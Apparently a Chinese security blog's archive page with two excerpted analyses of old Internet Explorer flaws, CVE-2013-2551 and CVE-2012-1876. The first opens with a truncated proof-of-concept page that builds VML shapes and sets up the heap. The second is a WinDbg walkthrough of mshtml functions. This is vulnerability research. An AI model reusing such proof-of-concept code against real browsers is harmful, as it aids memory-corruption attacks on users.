博文

目前显示的是 三月, 2018的博文

[CVE-2013-2551]-Microsoft Internet Explorer COALineDashStyleArray 整数溢出漏洞分析

图片
0x00 POC     <html> <head> <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9" > </head> <title> POC by VUPEN </title> <!-- Include the VML behavior --> <style>v\: * { behavior:url(#default#VML); display:inline-block }</style> <!-- Declare the VML namespace --> <xml:namespace ns="urn:schemas-microsoft-com:vml" prefix="v" /> <script> var rect_array = new Array() var a          = new Array() function createRects(){ for(var i=0; i<0x400; i++){ rect_array[i]    = document.createElement("v:shape") rect_array[i].id = "rect" + i.toString() document.body.appendChild(rect_array[i]) } } function crashme(){ var vml1  = document.getElementById("vml1") var shape = document.getElementById("shape") for (var i=0; i<0x400; i++){   //set up the heap       a[i]

[CVE-2012-1876] Internet Explorer堆溢出漏洞分析

图片
  0x0 漏洞分析  1. 开启页堆调试, !gflag +hpa, 由于 IE8 会产生子进程,所以 .childdbg 1 开启子进程调试   1.1 运行 poc Windbg 导入 mshtml 模块的符号文件 1:020> .reload /f mshtml.dll 1:020> lm   1.2 中断后,栈回溯下,产生问题的函数为 mshtml!CTableLayout::CalculateMinMax Eax 的值是从 [ebp+10h] 传过来的 , 而 [ebp+10h] 是从 [eax+0ch] 传过来的 , 这里猜测 [eax+0ch] 里的 eax 是一个对象 2. 分析下 mshtml!CTableLayout::CalculateMinMax 这个函数       2.1 sxe ld:mshtml 加载 mshtml 模块时断下,再下断点 其中 [ebp-90h] 为 poc 中 span 元素的值 mshtml!CTableLayout::CalculateMinMax 分析大概 3. 进入 mshtml!CImplAry::EnsureSizeWorker 函数分析 大概就是根据 传进来的 span 元素 *0x1c 后得到结果 进行内存分配,分配成功保存的地址为 edi+0ch,edi 是从 html!CTableLayout::CalculateMinMax 函数传进来的: edi = [ebx+90h],  ebx 是 CTableLayout: 对象 分配成功的地址: 2cb408 mshtml!CImplAry::EnsureSizeWorker 分析大概 4. 当 mshtml!CImplAry::EnsureSizeWorker 函数返回后,继续单步跟,遇到 mshtml!CTableCol::GetAAspan 函数,第一次获取后, ebx 对象如下      mshtml!CTableCol::GetAAspan 分析大概     第一次执行完后 mshtml!CTableColCalc::AdjustForCol 后,分配的